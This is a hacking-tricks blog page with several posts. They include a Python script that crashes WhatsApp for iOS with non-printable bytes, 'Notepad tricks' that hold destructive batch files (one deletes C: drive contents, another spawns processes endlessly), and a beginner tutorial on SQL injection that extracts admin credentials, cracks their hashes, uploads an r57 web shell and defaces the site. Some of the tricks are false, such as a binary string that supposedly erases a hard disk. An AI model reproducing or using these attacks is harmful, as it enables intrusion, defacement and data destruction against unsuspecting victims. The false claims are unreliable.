Sonic Tricks: Computer tricks and Hackings

Showing posts with label Computer tricks and Hackings. Show all posts

Monday, 5 May 2014

WhatsApp Remote Crash on non-printable characters [Ne0n Hackers]

#!/usr/bin/python
#-*- coding: utf-8 -*

# Title: WhatsApp Remote Crash on non-printable characters
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.7 and prior on iOS
# Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4
# Solution Status: Fixed by Vendor on v2.11.8
# Date: 8/04/2014
#
# Author:
# 	Nitikesh Pattnaik	@pattnaiknitikesh12@gmail.com	
#
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.7 for iOS.
# It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
# engaging in an interactive conversation over WhatsApp protocol
#
# More info at:
# 	http://www.seguridadofensiva.com/2014/04/crash-en-whatsapp-para-iphone-en-versiones-inferiores-a-2.11.7.html

import argparse, sys, os, csv
from Yowsup.Common.utilities import Utilities
from Yowsup.Common.debugger import Debugger
from Yowsup.Common.constants import Constants
from Examples.CmdClient import WhatsappCmdClient
from Examples.EchoClient import WhatsappEchoClient
from Examples.ListenerClient import WhatsappListenerClient
from Yowsup.Registration.v1.coderequest import WACodeRequest
from Yowsup.Registration.v1.regrequest import WARegRequest
from Yowsup.Registration.v1.existsrequest import WAExistsRequest
from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
from Yowsup.Contacts.contacts import WAContactsSyncRequest

import threading,time, base64

DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
COUNTRIES_CSV = "countries.csv"

DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"


######## Yowsup Configuration file #####################
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone:	Your full phone number including country code, without '+' or '00'
# id:		This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
#		on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
#		of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
#		a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
#		or want to register, you can leave this field blank or set it to some random text.
# password:	Password to use for login. You obtain this password when you register using Yowsup.
######################################################
MINE_CONFIG ="config.cfg"

def getCredentials(config = DEFAULT_CONFIG):
	if os.path.isfile(config):
		f = open(config)
		
		phone = ""
		idx = ""
		pw = ""
		cc = ""
		
		try:
			for l in f:
				line = l.strip()
				if len(line) and line[0] not in ('#',';'):
					
					prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
					
					varname = prep[0].strip()
					val = prep[1].strip()
					
					if varname == "phone":
						phone = val
					elif varname == "id":
						idx = val
					elif varname =="password":
						pw =val
					elif varname == "cc":
						cc = val

			return (cc, phone, idx, pw);
		except:
			pass

	return 0

def main(phone):
	credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )

	if credentials:
		
		countryCode, login, identity, password = credentials
		identity = Utilities.processIdentity(identity)

		password = base64.b64decode(password)

		# Custom message that will crash WhatsApp
		message = message = "\xf4\xaa\xde\x04\xbf"

		#print countryCode, login, identity, password
		wa = WhatsappEchoClient(phone, message)
		wa.login(login, password)
	
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("number", help="Phone number to send the crash message")
    parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true")
    args = parser.parse_args()

    Debugger.enabled = args.verbose
    main(args.number)

Tuesday, 3 December 2013

Top 12 Notepad Tricks

1) Notepad trick to use it as a Diary

Open notepad
Type .LOG

Save the file as LOG.txt

Write anything in it and it will be saved with the time when you edit it.

2) Notepad trick to Test Antivirus

Open Notepad.
Copy the code give below in the notepad file:
X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*
Save it with an .exe extension like testvirus.exe

3) Matrix Notepad Trick
@echo off
color 2
:start
echo %random% %random% % random% %random% %random % %random% %random% % random% %random% %random % %random% %random% % random% %random%
goto start
Save this file as Matrix.bat
Make sure the file type is kept as ALL FILES while saving it as a .bat file.
4) Notepad Trick to Open DVD Drive

Open Notepad.
Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as “Anything.VBS”.

5) Notepad Trick to annoy your friends

Open Notepad.
Paste the following code in the notepad file:

@ECHO off
:Begin
msg * Hey
msg * Want to have Fun?
msg * You do?
msg * We will both have fun, alright?
msg * More fun?
GOTO BEGIN

Save the file with any file name but with .bat as extension and close it. For eg. cool.bat

6) Notepad Trick to shutdown computer forcefully

Open Notepad.

Paste the following code in it:

@echo off
msg * Shutdown computer.
shutdown -c “Sleep Tight” -s

7) Notepad Trick to Lock Folders

Lets lock a folder using notepad trick which is named as PICS in your D: drive , whose path is D:PICS

Then the code should be something like this:
ren pics pics. {21EC2020-3AEA-1069- A2DD-08002B30309D}

Pics is your folder name. Use the name of the folder in place for pics. Save the text file as lock.bat in the same drive.
To unlock this locked folder:

Open another new notepad text file and type the following:
ren pics. {21EC2020-3AEA-1069- A2DD-08002B30309D} pics
Save the text file as key.bat in the same drive. Here again, pics is the name of the folder. Change it to the folder name you want to lock it.

8 ) Notepad Trick to type slowly

Open Notepad.

Paste the following code in the notepad file:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Save the file with any name and with .vbs extension and close it.

Now open the file and see how freakishly slow the messages appear!

NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

9) Infinite Notepad Trick

Open Notepad.

Paste the following code in your notepad file:

@ECHO off
:top
START %SystemRoot% system32notepad.exe
GOTO top

Save the file with any name nut with .bat extension and close it.

10) Notepad Trick - Text to Audio

Open Notepad file on your Windows PC.

Copy and paste the below mentioned code :

Dim msg, sapi
msg=InputBox("Enter your text for conversion www–.techvorm.com","TechVorm Text-To-Audio Converter")
Set sapi=CreateObject ("sapi.spvoice")
sapi.Speak msg

Save this file with any name with .vbs as extension. For eg. Text-To- Audio.vbs

11) Notepad Trick - BUSH HID THE FACTS

Open notepad.

Type BUSH HID THE FACTS

Save that file.

Close it

Open It Again See…

12) Notepad Trick Print Tree Root

Open NOTEPAD and enter {print tree root}
After that hit enter and type C:windowssystem
After that hit enter and type {print C:windowssystemwinlog
Hit enter and type 4*43″$@[455] 3hr4~
Then save the file as teekids in C:windowssystem.
13) World Trade Center Notepad Trick
Open your Notepad
Type the flight number Q33N
Increase the Font Size to 72
Change the Font to Wingdings
14) Notepad Trick to Format Hard disk
Open Notepad and type:
a) Code : 01001011000111110010010101010101010000011111100000
b) Save As it as anything.EXE
c) Run it. Beware that the entire HDD will be erased

I hope you enjoyed these awesome and cool Notepad tricks,

Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

2. Then Save this file as virus.bat
3. Now, running this file format C Drive.

Matrix Effect Trick

matrix effect trick
In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

2. Now save this file as Matrix.bat (name can be anything but .bat is must)
3. Open your saved file and you will have matrix effect on your screen.

Saturday, 14 September 2013

A very simple way to hack website 4 beginners

SQL Injection And Defacement For Beginners Complete Tutorial By (S0H4N D 4CE)[H4CKNTRICKS!!]

What do you need before you start with SQL Injection.

*You need Admin Finder ( to find admin panel from website )*
*SQL Injection Vulnerable Scanner*

Admin Finder:
Download Admin Finder

Vulnerable Scanner:
Download ADVANCED HAVIJ Scanner

Dorks for Finding Vulnerable sites!:
Common Dorks
inurl:members.php?id=
inurl:page.php?id=
inurl:login.php?id=
inurl:index.php?id=
inurl:register.php?id=
inurl:staff.php?id=
inurl:detail.php?id=
inurl:view.php?id=

MD5 Hash Crackers Online:

http://www.md5crack.com
http://www.md5decrypter.com
http://www.md5decrypter.co.uk
http://md5.rednoize.com
http://md5decryption.com
http://www.md5decrypter.com
http://passcracking.com
http://md5.my-addr.com/md5_decrypt-md5_c…r_tool.php
http://www.xmd5.org
http://www.md5cracker.com/index.php
http://md5.noisette.ch/index.php
http://md5cracker.org

Text to ASCII Converter:

http://www.mikezilla.com/exp0012.html?ascii=login&hex=%2578&unicode=%26%23120;
http://getyourwebsitehere.com/jswb/text_to_ascii.html

Shell:

http://www.kinginfet.net/shells/

Some vulnerable websites
Starting Tutorial:

1. First you need to find vulnerable website.

http://sql-vuln-site.com/index.php?id=15

2. Now you need to find columns.

http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )

Error’s looks like this:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’39′ at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=’39

3. Now Select columns
Columns is 5

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5–

4. Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5–

you got the version like this:
5.0.32-Debian_7etch11-log

5. Finding Tables
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables–
And you will got tables like this:
PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.

6. Finding Columns in the Table ADMINS.

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()–

We found ADMINS table now go to ASCII web and convert ADMINS
You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
You put table_name=char(65,68,77,73,78,83)–

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)–

And you will got the columns in table ADMINS
There need to have columns with names: username and password

7. Getting username and password.

Now we put concat(username,0x3a,password) and admins

http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins–

( 0x3a is ASCII )
8. Finded username and password
So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.
If password is not hash you are lucky and now you need to find admin panel.

9. Finding Admin Panel

Open the tool Admin Finder
Put the website in the bellow and click Scan.
So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php

You open website and there have Username: Password:
Put username and password what you got.
Done you login in Admin Panel lets upload shell and deface.

10. Uploading Shell and Add Deface

In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:

http://sql-vuln-site.com/upload/r57.php

If can’t upload r57.php change it to r57.jpg.php or r57.txt and try!

You need to make a deface page in html and put in the website
So you open the shell,you will found a file index.php and click on it and there you will remove the php code from index and put your html code.

Congratulations you deface the website.

Thanks For Reading..

Monday, 2 September 2013

40+ Computer Pranks To Play On Your Friend Computer

Although it quite late now, but the April fool day has not ended and moreover I just want to blog about these computer pranks which you can play on your friend computer any day you want to.

computer-prank

We will tell you some of the hilarious computer tricks with which you can annoy your friend any time you want irrespective of any april fool day. All these are portable so they do not require any installation on the target computer and you can remove them anytime just by deleting the program exe.

Here is the list of all these computer pranks with their descriptions about what they do.

Pages

Monday, 5 May 2014

Tuesday, 3 December 2013

Saturday, 14 September 2013

SQL Injection And Defacement For Beginners Complete Tutorial By (S0H4N D 4CE)[H4CKNTRICKS!!]

Monday, 2 September 2013